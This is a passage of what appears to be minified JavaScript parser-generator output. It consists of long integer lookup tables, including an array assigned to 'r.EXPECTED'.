72,131072,563,563,3339,563,563,563,3343,563,563,563,563,563,563,563,563,563,26028,1360,988,587,587,1456,587,587,587,587,3362,587,587,587,587,587,587,587,587,587,587,587,587,3126,587,587,587,587,587,3371,587,587,587,587,541,541,563,563,587,587,0,0,0,3296,0,0,0,0,0,0,3557,3558,0,0,0,0,0,0,0,541,541,541,3568,541,541,541,541,541,1284,541,541,541,541,541,541,541,541,541,1303,563,563,3588,563,587,587,587,3593,587,587,587,587,587,587,587,587,2690,587,587,587,587,2694,587,587,3601,587,0,0,0,0,0,3604,3605,3606,0,3608,541,541,541,541,541,541,1813,541,541,541,541,1819,541,541,541,1360,563,3621,3622,563,563,587,587,587,587,587,587,587,587,587,3629,3630,563,563,587,587,587,587,3679,0,541,3680,563,3681,587,3682,0,541,541,541,541,1345,541,541,541,541,541,541,541,541,541,541,541,541,2560,541,541,541,358,359,0,0,0,0,0,0,0,365,0,293,0,0,0,0,0,0,306,0,0,0,0,0,0,0,0,0,0,1174,0,0,0,0,0,0,0,0,392,0,0,0,0,0,0,0,0,0,0,0,0,2495,0,0,0,474,474,474,488,0,0,488,359,359,359,510,359,359,359,359,474,559,606,582,582,582,582,582,582,582,606,606,606,559,606,606,606,606,606,606,606,606,582,582,559,582,606,582,606,1,541,541,868,541,541,541,541,541,541,541,541,541,541,904,541,541,541,541,541,2851,541,541,541,0,0,563,563,563,563,563,563,563,563,563,563,2254,563,563,563,587,1015,587,587,587,587,587,587,587,587,587,587,1051,587,587,587,587,587,2909,587,587,587,587,587,587,2917,587,587,587,587,587,1527,587,587,587,587,587,587,587,587,1538,1539,1197,0,0,0,0,0,0,0,1197,0,0,0,0,0,0,0,0,1134592,0,0,1134592,0,0,0,0,0,0,0,0,0,0,0,0,0,2980,0,0,541,541,1280,541,541,541,1289,541,541,541,541,541,541,541,541,541,541,3524,541,541,3526,563,563,1360,914,563,563,563,563,563,563,563,563,563,1372,563,563,563,1381,587,587,1543,0,1289,1473,1381,541,541,541,541,541,563,563,563,563,563,2898,563,563,563,563,563,0,0,587,587,587,587,587,587,2337,587,587,587,587,587,587,587,2352,587,587,587,587,2357,587,587,587,563,587,587,587,587,587,1079,0,0,0,1564,0,0,0,1570,0,0,0,0,0,2440,0,0,0,0,0,0,0,0,0,0,0,2871296,0,0,2424832,0,0,0,1576,0,0,0,1582,0,0,0,0,0,0,0,0,0,365,0,0,0,0,155648,0,0,1606,0,0,0,0,0,0,0,1614,1615,0,0,0,0,0,0,0,3385,3180,0,0,0,0,0,0,0,0,2097,0,0,0,0,0,0,0,0,2070,0,0,0,0,2074,0,0,0,0,0,0,1625,0,0,0,0,0,0,0,0,0,0,0,1648,0,0,0,0,563,1891,563,563,563,563,563,563,563,563,1902,563,563,563,563,563,1408,563,563,563,563,563,563,563,563,563,563,1867,563,563,563,563,563,587,1975,587,587,587,587,587,587,587,587,587,587,587,1987,587,587,587,587,1490,587,587,587,587,587,587,587,587,587,587,587,2381,587,587,587,587,2008,587,587,587,587,587,587,541,587,563,541,541,541,541,563,563,918,563,563,563,563,563,563,563,563,563,563,563,2634,563,563,563,563,0,2243,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2637,563,0,2330,587,587,587,587,587,587,587,587,587,587,587,587,587,587,3276,587,587,587,0,0,2451,0,0,0,0,0,0,0,0,0,0,0,0,0,2471,0,2472,0,0,0,563,563,563,563,563,563,563,2593,563,563,563,563,563,1424,563,563,563,563,563,563,563,563,563,563,2293,563,563,563,563,563,563,587,2659,587,587,587,587,587,587,587,587,587,587,587,587,587,587,2912,587,587,2916,587,587,587,587,0,0,0,0,0,2776,0,0,0,0,0,0,0,0,0,0,372,0,0,373,0,0,563,2895,563,563,563,563,563,563,563,563,563,0,0,587,587,587,587,2335,587,587,587,587,587,587,587,587,587,2947,587,587,587,587,587,541,587,563,587,2906,587,587,587,587,587,587,2913,587,2915,587,587,587,587,587,587,2935,587,587,587,587,587,587,587,587,587,2408,587,587,587,587,2177,2349,587,587,587,2944,587,587,587,587,587,587,587,587,587,541,587,563,563,563,563,563,563,563,587,587,587,541,587,587,587,0,541,587,563,541,1547,541,541,1550,563,1551,563,563,0,0,0,0,0,3561,0,0,0,541,541,541,541,541,541,541,541,3464,541,3466,3467,541,3469,541,541,541,541,3575,541,563,563,563,563,563,563,563,563,563,563,3423,563,563,563,3426,587,587,587,587,563,3587,563,563,587,587,587,587,587,587,587,587,587,587,587,3600,587,587,587,587,3670,587,0,0,0,0,541,541,541,541,563,563,919,925,563,563,563,563,943,563,563,563,563,563,563,3353,563,563,563,587,587,587,587,587,587,587,587,587,587,587,587,3267,0,0,360,0,0,0,0,0,0,365,0,293,0,0,0,0,0,0,331,0,0,0,0,0,0,0,331,0,0,69632,73728,0,419,419,0,0,65536,419,0,0,0,0,375,0,0,0,0,0,0,0,0,0,0,0,1663,0,0,0,0,0,0,360,0,0,0,0,0,0,0,0,0,0,0,0,0,2511,0,0,0,0,0,370,0,0,370,0,0,0,0,0,0,0,0,0,0,0,0,0,2496,0,0,560,607,583,583,583,583,583,583,583,607,607,607,560,607,607,607,607,607,607,607,607,583,583,560,583,607,583,607,1,541,863,541,541,541,541,541,541,541,541,541,541,541,541,541,541,1772,541,1010,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,3123,587,587,587,587,587,587,587,563,1386,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2871,563,0,0,2760,0,0,0,0,0,0,0,0,0,0,0,0,0,2755,0,0,0,0,0,0,0,2985,0,0,0,0,0,0,0,0,0,0,406,0,0,0,0,0,0,0,0,0,3302,0,3303,0,0,0,0,3180,0,0,0,0,0,0,348,0,0,0,0,0,0,0,0,0,0,2801664,0,0,0,0,2142208,0,0,0,361,362,363,364,0,0,365,0,293,0,0,0,0,0,0,348,349,350,0,0,0,0,0,0,0,0,3180,0,3388,0,0,0,0,0,0,362,0,361,0,0,0,69632,73728,0,0,0,0,428,65536,0,0,0,0,0,2463,0,0,0,0,0,0,0,0,0,0,0,2807,541,541,541,541,428,428,0,0,428,0,362,428,457,0,0,0,0,0,0,0,0,1159168,0,1159168,0,0,0,0,1159168,0,0,0,0,498,498,0,505,505,505,505,511,512,505,505,525,525,525,525,525,457,457,457,457,457,457,457,457,457,525,525,525,525,525,525,525,525,525,561,584,561,584,561,561,584,561,608,584,584,584,584,584,584,584,608,608,608,561,608,608,608,608,608,608,608,608,584,584,620,625,608,625,631,1,563,563,563,973,563,563,563,563,563,0,587,587,587,587,587,587,1963,587,587,587,587,587,587,587,587,587,3137,587,587,587,587,587,587,587,0,2105,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2052,0,0,0,0,0,541,2161,541,541,541,541,541,541,541,541,541,541,541,3336,541,563,563,563,0,0,563,2245,563,563,563,563,563,563,563,563,563,563,563,563,2882,563,563,563,0,0,587,2332,587,587,587,587,587,587,587,587,587,587,587,587,3286,587,587,587,587,541,587,563,2550,541,541,541,541,541,541,541,541,541,541,541,541,541,541,541,2210,541,541,541,2579,541,541,541,541,541,541,541,541,541,541,0,0,0,0,0,0,2068,0,0,0,0,0,0,0,0,0,365,0,0,122880,122880,0,0,2711,587,587,587,587,587,587,587,587,587,587,541,587,563,541,541,541,2021,563,563,562,609,585,585,585,585,585,585,585,609,609,609,562,609,609,609,609,609,609,609,609,585,585,562,585,609,585,609,1,0,0,0,705,0,0,0,0,0,0,0,0,0,0,0,0,2742,0,0,0,0,735,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2075,0,541,864,541,541,541,541,541,541,541,541,541,541,541,541,541,541,2238,0,1011,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,2689,587,587,587,587,587,587,587,587,2716,587,587,587,541,587,563,541,541,1136,0,0,0,0,0,0,0,0,0,0,365,365,0,0,0,0,0,0,2095,0,0,0,0,0,0,0,0,0,0,2375680,0,0,0,0,0,587,1503,587,587,587,587,587,587,587,587,587,587,587,587,587,587,2911,587,2914,587,587,587,587,2919,587,563,587,587,587,587,587,1079,1560,0,0,0,1566,0,0,0,1572,0,0,0,1578,0,0,0,0,0,0,0,0,0,0,0,0,2754,0,0,0,563,563,563,563,2600,563,563,563,563,563,563,563,563,563,563,563,26028,1922,587,587,587,0,0,0,0,647,0,0,0,0,0,0,743,541,541,541,541,541,541,2178,541,541,541,541,541,541,541,541,541,0,2242,563,563,563,563,563,0,0,1594,0,0,0,0,0,0,0,0,0,0,0,0,0,2770,0,0,563,563,563,1846,563,563,563,563,563,563,563,563,563,563,563,563,3085,563,3087,563,2187,541,2189,541,541,541,541,541,541,541,541,541,541,541,541,541,1821,541,1360,0,0,563,563,563,563,2248,563,563,563,563,563,563,563,563,563,2305,563,563,563,563,563,563,563,563,563,0,587,587,994,587,587,587,563,2274,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2894,563,587,2361,587,587,587,587,587,587,587,587,587,587,587,587,587,587,3121,587,587,587,587,587,587,587,587,563,563,541,563,587,563,587,1,2623,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,3101,563,563,563,563,2651,0,0,0,0,0,0,587,587,587,587,587,587,587,587,587,2340,587,587,587,587,0,0,3179,0,0,0,0,0,0,0,0,0,0,0,0,0,2798,0,0,3245,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,3257,563,1134592,0,1134592,0,0,0,1134592,1135008,1135008,0,0,0,0,0,1135008,0,0,0,0,0,2478,0,0,0,0,0,0,0,0,0,0,0,3180,0,0,3307,0,1134592,0,1134592,1134592,0,0,0,0,1135203,1135203,1135203,1135203,1134592,1135203,1135203,1135203,1135203,1135203,1135203,1135203,0,1134592,1134592,1134592,1134592,1135203,1134592,1135203,1,0,0,2125824,2125824,2125824,2125824,2125824,2424832,2433024,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,0,0,988,2125824,2125824,2125824,2125824,1147355,1147355,1147355,1147355,458,458,1147355,458,458,458,458,458,458,458,458,1147406,1147406,1147406,1147406,1147406,1147406,1147406,1147406,1147406,1147406,1147406,1147406,1147406,1147406,1147406,1147406,0,0,0,0,0,0,0,0,458,0,0,0,0,0,1147355,1147355,1147355,1147406,1147406,1147355,1147406,1147406,1,12290,3,0,0,0,0,249856,0,0,0,249856,0,0,0,0,0,0,0,69632,73728,0,0,0,0,425,65536,0,1159168,0,0,1159168,0,1159168,1159168,0,1159168,1159168,0,1159168,1159168,1159168,1159168,1159168,1159168,1159168,1159168,1159168,1159168,1159168,1159168,1159168,1159168,1159168,1159168,1159168,1159168,1159168,0,1159168,1159168,0,1159168,1159168,1159168,1159168,1159168,1159168,1159168,1159168,1159168,0,0,0,0,0,0,0,0,0,1159168,0,0,1159168,1159168,1159168,1159168,1159168,1159168,1159168,1159168,1159168,1159168,1,12290,3,78115,293,0,0,0,0,0,0,0,0,0,0,0,0,131072,131072,0,0,1163264,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3170,0,913,2125824,2125824,2125824,2125824,2125824,2424832,2433024,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,2125824,0,0,1453,2125824,2125824,2125824,2125824,106496,0,106496,106496,0,106496,106496,106496,106496,106496,106496,106496,106496,106496,106496,106496,106496,106496,106496,106496,106496,0,0,0,106496,0,0,106496,106496,106496,106496,106496,106496,106496,106496,106496,0,0,0,0,0,0,0,0,0,0,0,2183168,0,0,0,0,0,0,0,0,2134016,0,0,0,0,0,0,0,0,0,0,541,541,541,1275,541,541,0,0,0,3117056,0,0,0,0,0,0,0,0,0,0,0,0,2979,0,0,0,0,3108864,3198976,0,0,3043328,0,3149824,2936832,0,2760704,0,2437120,0,0,0,0,0,0,2107,0,0,0,0,0,0,0,0,0,365,0,293,0,0,0,0,0,0,0,0,2875392,0,0,0,0,0,0,0,0,0,0,2834432],r.EXPECTED=[1039,1047,1048,1046,1042,1052,1056,1060,1064,1068,1446,1074,2948,2053,1092,1446,2490,1670,1213,1080,1084,1085,1446,1089,1446,1446,2818,1098,1103,1108,1187,1181,1181,1114,1118,1446,1933,1123,1446,1136,1098,1098,1204,1108,1108,1171,1181,1181,1130,1134,1446,1446,1140,1446,1147,1098,1152,1108,1108,1109,1181,1181,1182,1158,1446,1446,1238,1668,1098,1148,1108,1108,1206,1181,1181,1165,1446,3130,2162,1098,1099,1108,1177,1181,1215,1219,2143,1136,1098,1186,1110,1181,1191,3130,2153,1099,1108,1180,1217,2659,2819,1197,1173,1201,1104,1235,1210,1224,1154,1228,1232,1168,1243,1247,1251,1255,1259,1261,1266,1262,1270,1274,1278,1282,1286,1290,1220,1295,1890,1296,1446,1446,1446,1446,1375,2489,1446,1446,1446,2385,1446,1446,1446,1446,1446,1446,1446,1446,1076,1446,1446,1446,1446,2986,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1300,1304,1305,1309,1405,1315,1318,1322,1326,1330,1446,1446,1804,1334,2315,1338,2350,1142,1143,1342,1346,1446,1446,2834,1352,1362,1369,1446,1126,1446,2386,1379,1446,1384,1390,1446,2987,2588,1396,2688,1457,1446,1518,1446,1446,2269,1446,1446,1446,1402,1446,1441,1897,1409,1413,1446,1447,1419,1446,1447,1419,1446,1446,1193,1446,2988,3136,2482,1446,2617,1425,1446,1448,1431,1446,1918,1446,2648,1436,1457,1348,1457,1380,1440,1446,1445,3050,1452,1446,1456,1311,1446,1916,2325,1463,2125,1347,1472,2317,1909,1478,3010,2343,2076,2746,2758,1482,2765,2077,1799,1486,2744,1493,1358,1446,1446,2131,1446,2559,1386,1365,1497,1501,1505,1509,1515,2369,1569,2450,1522,2538,1526,1530,1536,2479,2088,1457,1971,1540,1544,1548,1552,1557,1446,2103,1446,1532,1446,2479,2082,1563,1568,2137,1573,1577,3026,1446,1446,2116,1446,1446,3027,1446,1586,1938,1584,2123,1647,1590,1432,1594,1446,2517,1600,1446,2517,1600,1446,2872,1606,1612,1616,1620,1626,1446,1239,1633,1446,1596,1640,3118,2782,1645,1651,1863,1446,1863,1446,1602,1446,2675,2173,1655,2685,1559,1866,2685,3124,1659,1665,2904,2903,3055,2673,1674,1678,3047,2266,2239,1682,1686,1690,1694,1698,2892,1702,1715,1719,1723,1727,1731,1446,2332,1773,1737,1744,1748,1751,1755,1758,1446,1772,2979,1777,1781,2506,1788,1792,1635,1636,1446,2668,2874,1796,1808,2784,1815,1819,1823,2304,1828,1446,2430,1446,1446,2334,1853,2583,1834,1843,1446,2069,1446,1446,1954,1446,1446,2070,1446,1446,1622,1608,1847,1851,1857,1641,1871,1446,2225,1956,1446,2225,1956,1446,2374,1885,1876,1811,1446,1883,1446,1947,1889,1446,1511,1446,1291,2287,1894,1901,1906,1446,1906,1446,1913,1446,1740,1922,1446,1932,1733,1446,1932,1830,1094,1732,1446,1937,2066,2439,2671,1945,1942,2455,1489,2323,1951,1709,1711,1629,1161,1962,1968,1977,1980,1984,1446,1119,1994,1999,2003,2007,2011,2015,2019,2023,1986,1872,2093,1928,2028,2032,2036,1802,2040,1446,1446,2044,1580,2050,2059,2063,2074,2046,1446,2024,2081,1446,2086,1446,1446,1988,2092,2097,2109,2113,1446,2120,1446,1446,2129,1446,1558,2135,1446,1446,2141,2535,2866,2147,1446,1990,1446,1446,3096,1446,1446,3096,1446,1446,1466,2151,2157,2204,1458,2161,1446,2914,1446,1446,1764,1446,3053,2166,2170,1446,2182,1446,2187,1446,2916,1957,2192,2202,2305,1446,2210,2496,1824,3112,2217,1761,1459,1558,2224,2229,2841,2969,2682,2815,2233,2248,2236,2243,1837,1839,2247,2252,2100,1446,1446,1446,1446,2918,1766,2256,2260,2273,2277,2281,2284,1446,2889,1902,2985,2524,2433,2299,2576,2212,2213,2303,1415,1457,2309,1958,2321,2329,1446,2976,1446,1398,1446,1553,2338,2342,2751,1446,2347,2503,2354,2358,1558,2363,1446,1995,2368,1446,1421,2364,2373,2733,2378,2383,2390,3044,1446,2715,1446,1446,1860,1446,1446,1860,2719,2733,2397,2176,2401,1946,2461,1446,1446,2405,1446,1473,2717,2413,2417,2427,2437,3061,1446,2105,1446,1973,2407,2443,2447,2454,2459,2379,1446,2465,2472,2476,2486,2511,2494,2701,2409,2500,2510,2516,2521,2528,2220,2532,2542,2546,2198,2312,2550,2554,2563,2567,2571,2575,1446,2580,2592,2596,2600,2604,2608,2612,2616,1446,2621,2393,1372,2628,2632,2636,2640,2652,3103,1446,2708,2468,2656,2665,2679,2692,1558,2699,1446,2705,1446,2998,2712,1446,2723,2624,1768,1879,3159,1446,2205,2727,1446,1468,2732,1446,2206,2982,1446,3004,2737,2741,3109,2750,1446,2755,1446,1446,2762,1446,1446,2762,2769,3037,2775,2420,2779,1446,2788,1446,1446,2795,1446,1427,2801,3020,2805,2646,1446,2812,1446,2809,1446,3067,2853,2823,2643,2183,2827,2863,2512,2832,2838,1707,1070,2359,2845,2851,2857,1964,1474,3084,2557,2878,2955,3090,2882,2293,2295,2886,2896,2900,2908,2912,1446,1446,1446,2922,2926,2930,2934,2938,2942,2946,1446,2055,2952,1355,2791,2178,2959,1867,2963,1784,2967,1446,2973,2423,2992,2996,3002,1446,2728,1446,1446,3008,1446,3014,3018,1446,3024,2188,3031,3147,1446,1446,2694,1446,1446,2847,1446,1446,2695,3035,1446,3041,3078,3141,3059,1446,1446,3065,1446,1446,3065,1446,1446,3071,1446,3075,1925,3153,1446,1446,3082,1446,1564,3088,1446,1661,3094,3100,2195,3116,1446,3122,1446,3128,1446,3134,1705,3140,2586,2797,1446,3145,2771,1392,3151,1446,3157,2290,2828,2661,2869,2422,3106,2860,2263,1446,1446,1446,1446,1446,1446,1446,1446,1446,1446,1473,3163,3166,3170,3182,3186,3182,3189,3181,3182,3182,3182,3182,3177,3173,3193,3182,3197,3201,3204,3210,3214,3216,3206,3220,3224,3228,3232,3235,3239,3243,3729,3929,3929,3246,3929,3929,5383,3929,3929,3300,3929,3261,3562,3273,4078,3734,3929,3929,3929,3277,3287,3294,4847,3929,3250,3929,3929,3344,3929,4873,4873,4873,4873,3266,4873,4873,3564,3564,3567,3564,3564,3564,3564,3267,3256,3305,3562,3568,3335,4081,3929,3929,3929,3323,4919,3377,4693,3929,3252,3722,3750,3365,3315,3269,3334,4080,3732,3929,3929,3559,4873,5799,4692,3929,3929,3688,3929,3929,3560,4873,4873,4873,4195,4873,4873,4873,4874,3564,3267,3264,3331,3339,3929,3342,3929,3738,3256,3367,3317,3321,3560,4873,3564,3309,3256,3256,3365,3371,3564,3564,3564,3567,3256,3256,3256,3256,3327,4195,3564,3564,3564,3310,3365,3359,3929,3929,3813,3929,3564,3564,3564,3364,3929,5741,3559,4873,4194,3564,3564,3268,3256,4193,4873,3266,3564,3310,3256,3256,3256,3366,3348,3929,3929,3929,3505,3383,3256,3373,3766,3256,3384,3929,4872,4874,3564,3268,3256,3257,3373,4694,3929,3929,3929,3355,3566,3256,3321,4194,3565,3311,3560,3563,3384,3561,3319,3360,3388,3390,4109,3394,3401,3405,3429,3429,3429,3429,3424,3430,3412,3416,3420,3428,3434,3438,3442,3397,3446,3450,3453,3457,3460,3463,3465,3469,3473,3408,3477,3481,3485,3696,3498,4473,3929,3929,3929,3512,3511,3929,3929,3929,3517,4964,4966,3929,3523,3527,3929,3929,3929,3752,3534,3543,3929,3929,3850,3854,3578,3582,3586,3589,3590,3594,3597,3601,3604,3608,3611,3614,3618,3622,3626,4965,3648,3636,5178,3647,5820,3654,4257,3659,3929,3669,4219,3694,3703,3929,5714,3525,3929,3929,3929,3770,3790,3929,5539,3707,3929,3342,5695,3904,3929,3289,3290,3906,3929,4658,4464,5227,4306,3936,3718,3726,3743,3929,3375,3631,3929,3548,5050,5064,3749,3929,3929,3929,3836,3758,3298,3929,3929,3915,3927,4893,3528,3929,3929,3921,4548,5744,4281,3929,3929,3932,5019,3929,5587,5178,3929,3553,3557,3572,5826,3929,3929,4530,3789,3794,3929,3929,3972,4899,3798,3806,3929,3929,3972,5040,3817,3826,3929,3929,3972,5490,3785,3929,3929,3929,3869,4728,4203,3770,3790,4142,3929,3929,3929,3894,4001,3929,3929,3929,3929,3252,3798,4127,4203,3850,3854,4139,3744,3929,3929,3929,3844,5313,5832,4137,4141,3929,3650,3929,3929,4854,4858,4140,3929,3929,3929,3930,5557,3873,3929,3929,3883,3929,5107,3929,5107,4780,3929,4781,5020,3929,3929,3738,5109,3929,3290,3904,3940,3947,3946,3942,3951,3955,3956,3956,3960,3962,3963,3962,3967,3971,3929,3929,4017,4021,4708,3978,3988,3929,3683,3781,3802,3995,4392,3929,5597,5363,3530,3929,4135,4005,4013,3929,3929,4065,4070,4026,3929,3929,4026,3375,3929,3929,4049,4056,4576,3997,5403,5596,3929,3856,4795,3529,3929,3929,3929,3931,4061,3929,3929,3929,3972,4199,3911,3929,3929,3929,3974,5170,3929,3929,4704,3929,4075,5320,4248,5165,3855,4657,4085,3929,3690,4699,5178,3978,3251,3929,3929,4101,3929,5319,4247,5772,5010,4113,3981,3929,3929,4164,4148,4148,4120,3929,3929,4165,4115,4709,4132,3929,3929,4247,4459,5170,3929,3929,4706,3879,4572,4576,5321,4249,4655,3929,3929,4274,3929,3972,4146,4150,3929,3735,3929,3735,4154,4158,3929,3929,4396,3929,3929,3982,3929,3929,3929,4029,4107,3929,4706,3929,4366,4574,4181,5320,5850,4644,4180,5319,4886,4217,4208,4673,3929,3929,4424,5855,3279,5321,4215,3929,3766,4873,4873,3563,3564,4228,3929,4451,4182,4233,4305,4240,4273,4435,4246,4434,4245,4708,4241,3929,3699,4502,3698,4255,5609,4272,5609,4272,3699,5199,5610,4273,4253,3281,4246,4270,3929,3809,3929,4549,3737,3929,3896,3929,5021,3770,4271,3771,4182,5163,5161,3929,3283,5762,3710,4279,4279,4211,4127,4128,4405,3712,4286,3929,3929,3929,4052,3929,5548,3754,4301,3929,3842,3574,4534,4651,5125,3745,4537,4310,4314,4318,4319,4323,4327,4333,4334,4331,4338,4339,4339,4340,3929,3844,4827,3929,3846,3929,3929,4905,3929,3376,5780,4202,3929,3929,3929,4235,4524,5352,5187,4364,4473,3342,4273,3929,3888,5737,4840,4356,4374,4378,4842,5051,4864,3929,4387,4491,3929,4413,3929,3892,5107,3929,3665,3929,3929,4681,3640,4265,4472,3929,4802,3929,4518,3670,4266,4421,3929,4204,4203,3929,4718,4428,4432,3929,3929,3929,4451,4440,4445,3929,3929,4450,4541,4470,3929,3343,3929,3897,3929,4294,3929,4296,3929,5616,3929,5461,4463,3929,5347,4362,5468,4800,3929,3929,4457,4461,5243,3929,4484,3929,3931,5074,3929,3972,4166,4116,3929,3929,3929,4035,4737,3929,3929,3929,4505,3929,5347,4495,3929,3972,5410,5415,4015,4019,3929,3929,4457,4490,4499,3929,3929,3929,4624,5347,3929,4801,3929,3997,3929,5743,4160,3929,3929,3929,4628,3929,5704,4529,3929,3998,5353,5435,3929,5703,4528,3929,4e3,3929,3929,3999,3528,4505,5352,4800,3929,4007,4653,3929,4009,3929,4642,5697,3929,3929,3929,4695,4052,3929,3929,3929,4708,4545,3929,3929,3301,4450,3929,3929,3929,4734,3929,5303,3342,3929,4030,4480,3929,3929,3929,4516,4994,3894,3929,3895,3929,3929,3351,3892,3737,3735,3929,4039,3929,3929,4086,5090,3895,5020,3895,3737,5022,3736,3737,4554,4556,3929,3929,4638,4794,3929,3929,4668,4806,4689,3929,3929,3929,4752,4504,3929,3929,5097,4566,4022,5334,4383,5691,4570,4582,4586,4590,4594,4598,4602,4605,4608,4612,4614,4618,4634,4632,4634,4621,3929,3929,3929,4757,4725,4816,3929,4648,4662,4666,5081,4672,3929,5344,4398,4352,4678,3929,3929,4678,4687,5178,3929,3929,4745,4749,4210,3929,4965,4768,5739,3929,3929,3322,5689,3899,5181,4703,5110,5214,4713,4722,3929,4051,3558,3929,4028,4478,4500,3929,5400,4741,3929,3929,4780,3929,4780,4762,3929,3929,3929,4821,4756,4761,3929,3929,4818,4822,4505,3863,3867,3929,3341,3341,3929,4766,4294,3929,3899,3929,4066,3929,3929,4087,5091,3767,5433,4817,4683,4716,3929,5809,3929,4091,4095,3751,3972,4773,4777,3929,4107,3929,3929,4137,4141,4786,4775,3929,3929,4820,3910,4788,4777,3929,3929,4828,3972,3322,4792,3929,3929,4847,3929,5432,4816,4833,4799,3929,5147,3929,3929,4872,4873,4966,4295,4304,4814,4826,3929,3929,3929,4871,4674,3929,4708,3897,5180,5433,4832,3929,4159,3929,3377,3299,3929,4503,4708,3929,4837,3929,3929,3929,4913,5207,3929,3929,3929,4965,3929,5148,3929,4008,3929,4408,3929,4172,3929,4172,3900,5432,3628,3929,3929,3929,4856,4860,3844,5313,3929,3929,4982,3929,5086,3768,5434,3630,3929,4174,3929,4562,5312,3929,3929,3929,5003,4502,5148,4878,4885,4293,3929,3929,4296,3929,4296,3929,4229,5198,5520,3928,3929,3928,3897,4293,3929,3898,3929,5228,3899,3898,3929,4296,3929,5547,3519,4911,3929,5584,4917,3769,3929,3929,3929,4240,4273,3929,3779,3800,3744,4923,4927,4934,4935,4930,4939,4943,4949,4953,4945,4957,4957,4958,4962,3929,4247,4511,3929,3972,5871,3929,3983,3929,5572,5591,3929,4731,4359,5861,5581,4990,3929,3929,3929,5111,4846,5503,4707,5051,3929,4263,4465,3929,4282,3929,3929,3860,3929,5742,3929,3929,3737,3929,3894,5322,3929,5e3,5007,3507,3929,4290,3929,3929,4449,3929,5018,3929,3929,3642,5026,3929,3929,3929,5177,4628,3929,3300,3929,4346,3674,3681,3547,3929,3539,5030,5034,3929,3929,3929,5337,5040,3822,3929,3929,3641,5042,3929,3929,3929,5368,3643,3929,3929,3929,5405,5793,3929,3929,3929,5453,4626,3377,5052,3929,3929,3929,3721,4501,4368,3929,3546,3490,5496,5308,5793,3929,3929,5485,4370,3929,3929,5068,3972,5073,4863,3929,3513,4450,5122,3375,5406,3842,3929,3655,5793,3929,3739,4707,5781,3929,3990,3929,3929,4006,3299,4452,4369,3929,4439,4444,3929,3895,4547,3886,3929,5078,3929,3929,5048,5304,3929,5095,3929,5486,5051,4451,4368,3929,4474,4050,4057,4293,4450,3929,3929,5228,3929,5453,3929,3929,5072,4862,3929,5101,3929,3512,5742,3929,5241,5105,4986,3751,5323,3296,4502,4381,3929,4486,4034,3929,3684,3783,3744,5062,3929,3929,4209,3929,3929,3929,3560,3929,5118,3929,3929,5111,4852,4515,4382,5129,3929,4502,4176,3929,4350,5314,3549,3929,5797,3929,3929,3929,5526,5795,3929,3929,3929,5603,5136,5144,5227,4451,4236,3929,4975,3676,5063,4465,3744,4042,4464,5152,3929,4507,3865,3929,4121,5622,4297,4174,3342,5169,3342,5169,4514,3537,4561,4558,3929,4559,4453,3929,5213,4466,3929,4520,3929,3929,5170,4045,5196,5187,5174,4560,5185,4558,5193,5203,5211,5218,5221,5222,5226,3929,3929,3929,5725,3929,5232,4690,3929,4524,5352,3677,3929,3929,3929,5771,3929,5740,3929,4274,4848,5238,5247,5773,5254,5251,4704,3918,5260,5266,5262,5268,5272,5276,5280,5284,5287,5291,5294,5293,5298,5302,3929,3929,3929,5742,5425,3929,4694,5050,3546,3490,3494,3929,5318,3929,5327,3923,4464,4390,5227,3929,5816,5331,5341,3929,5782,3744,3929,4547,3770,3929,4547,3929,3736,5322,3929,5189,3929,3929,5189,5361,5367,3374,3929,4693,3929,3929,3829,3929,5372,3929,5411,3929,4704,4292,3929,3892,3929,3929,4517,5713,4819,4170,3929,5416,3991,3929,4708,4852,3929,4186,4190,3929,3765,3775,3800,5841,5084,3929,3929,5111,5157,3753,5377,5381,3929,3929,5117,3929,3929,5388,3821,3929,4708,5234,4550,3929,5393,5392,3929,4751,5041,3744,3929,3929,5048,5036,3929,5373,5397,4693,3501,3929,3929,3929,5766,4862,3929,3929,3929,5789,5048,4769,3378,3492,5429,4705,5779,3929,4781,4779,3929,4505,5110,3876,3929,3929,3929,5791,3972,5439,3839,3929,4815,3929,4778,5514,5443,3839,3929,4815,3929,5108,5841,5843,3929,3929,5139,3929,5050,5457,3492,4485,5465,3770,3878,3929,4821,3929,3929,4417,3929,3929,5472,5477,3929,4881,3929,5701,5473,5482,3929,3929,5140,3929,5478,3929,5420,3877,3546,5494,3714,3632,3929,5514,5508,3929,4907,5500,3929,4890,4880,3929,4193,4873,4873,4195,5742,3379,5773,3631,5525,3929,3929,3929,5870,5524,3760,3896,3929,5819,4519,5513,3488,5530,5351,3929,4708,4846,4159,3929,3929,3929,5155,5159,5336,5518,3761,3929,3929,5512,5536,4519,4522,3989,3929,3929,3929,4913,5518,3929,4964,4293,5179,5352,3929,3929,4125,3929,3929,4247,4402,4086,3353,3929,5556,5570,3929,5570,5578,3983,3929,5573,3929,4971,3751,3929,4253,3929,4261,5594,4522,3929,5601,3984,3929,5574,3929,4978,4224,3929,3929,5608,5571,5607,5351,5349,3929,3929,3929,5206,4827,3929,3929,4897,4901,5733,5834,3662,4782,5757,3879,5132,5614,5467,5620,5626,5630,5634,5638,5642,5646,5650,5654,5658,5662,5666,5670,5673,5677,5681,5685,3929,3929,5256,4275,5756,3929,3972,3929,4996,3929,5561,5708,5718,3929,5722,5729,3929,3888,3998,5749,3929,3929,3929,5311,3929,5731,5753,5459,3929,5014,4985,3929,4344,4461,3929,3875,5420,3929,3878,3929,3929,3929,3736,4071,4506,3929,3766,4521,4967,3929,3929,3929,5387,3820,5761,4485,3929,3929,5424,4691,5113,3998,3929,3929,5435,3873,3929,5112,5770,4234,5849,3929,3929,